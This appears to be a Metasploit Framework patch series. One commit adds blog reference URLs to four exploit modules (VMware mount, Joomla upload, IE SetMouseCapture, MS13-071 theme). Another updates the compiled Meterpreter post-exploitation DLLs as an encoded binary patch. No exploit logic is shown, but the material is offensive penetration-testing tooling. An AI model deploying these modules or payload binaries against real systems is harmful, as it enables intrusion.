modules/exploits/windows/fileformat/ms13_071_theme.rb | 3 ++- 4 files changed, 8 insertions(+), 4 deletions(-) diff --git a/modules/exploits/linux/local/vmware_mount.rb b/modules/exploits/linux/local/vmware_mount.rb index e22ce4570b..724645ab18 100644 --- a/modules/exploits/linux/local/vmware_mount.rb +++ b/modules/exploits/linux/local/vmware_mount.rb @@ -49,7 +49,8 @@ class Metasploit4 < Msf::Exploit::Local [ 'OSVDB', '96588' ], [ 'BID', '61966'], [ 'URL', 'http://blog.cmpxchg8b.com/2013/08/security-debianisms.html' ], - [ 'URL', 'http://www.vmware.com/support/support-resources/advisories/VMSA-2013-0010.html' ] + [ 'URL', 'http://www.vmware.com/support/support-resources/advisories/VMSA-2013-0010.html' ], + [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/09/05/cve-2013-1662-vmware-mount-exploit' ] ], 'DisclosureDate' => "Aug 22 2013" } diff --git a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb index e0bb46ca5a..c9f5a764fd 100644 --- a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb +++ b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb @@ -37,7 +37,8 @@ class Metasploit3 < Msf::Exploit::Remote [ 'URL', 'http://developer.joomla.org/security/news/563-20130801-core-unauthorised-uploads' ], [ 'URL', 'http://www.cso.com.au/article/523528/joomla_patches_file_manager_vulnerability_responsible_hijacked_websites/' ], [ 'URL', 'https://github.com/joomla/joomla-cms/commit/fa5645208eefd70f521cd2e4d53d5378622133d8' ], - [ 'URL', 'http://niiconsulting.com/checkmate/2013/08/critical-joomla-file-upload-vulnerability/' ] + [ 'URL', 'http://niiconsulting.com/checkmate/2013/08/critical-joomla-file-upload-vulnerability/' ], + [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/08/15/time-to-patch-joomla' ] ], 'Payload' => { diff --git a/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb index db33363490..3d36d13460 100644 --- a/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb +++ b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb @@ -50,7 +50,8 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2013-3893' ], [ 'OSVDB', '97380' ], [ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2887505' ], - [ 'URL', 'http://blogs.technet.com/b/srd/archive/2013/09/17/cve-2013-3893-fix-it-workaround-available.aspx' ] + [ 'URL', 'http://blogs.technet.com/b/srd/archive/2013/09/17/cve-2013-3893-fix-it-workaround-available.aspx' ], + [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/09/30/metasploit-releases-cve-2013-3893-ie-setmousecapture-use-after-free' ] ], 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/fileformat/ms13_071_theme.rb b/modules/exploits/windows/fileformat/ms13_071_theme.rb index 56d4087df5..23ecb1d055 100644 --- a/modules/exploits/windows/fileformat/ms13_071_theme.rb +++ b/modules/exploits/windows/fileformat/ms13_071_theme.rb @@ -38,7 +38,8 @@ class Metasploit3 < Msf::Exploit::Remote ['OSVDB', '97136'], ['MSB', 'MS13-071'], ['BID', '62176'], - ['URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=1040'] + ['URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=1040'], + ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/09/25/change-the-theme-get-a-shell'] ], 'Payload' => { From 56b6f0be026a135910ce7eaad425a1a6f4ddbb49 Mon Sep 17 00:00:00 2001 From: James Lee <egypt@metasploit.com> Date: Tue, 1 Oct 2013 23:47:24 -0500 Subject: [PATCH 098/210] Add bins for #2443 See #740 and meterpreter#26 --- data/meterpreter/ext_server_stdapi.x64.dll | Bin 405504 -> 405504 bytes data/meterpreter/ext_server_stdapi.x86.dll | Bin 376832 -> 376832 bytes 2 files changed, 0 insertions(+), 0 deletions(-) diff --git a/data/meterpreter/ext_server_stdapi.x64.dll b/data/meterpreter/ext_server_stdapi.x64.dll index ab522683d2683c956dae6d4b540feb70eaa1bb2d..16706a7a281d0364b5b86a2f43abc3c36b5df57b 100755 GIT binary patch delta 72483 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 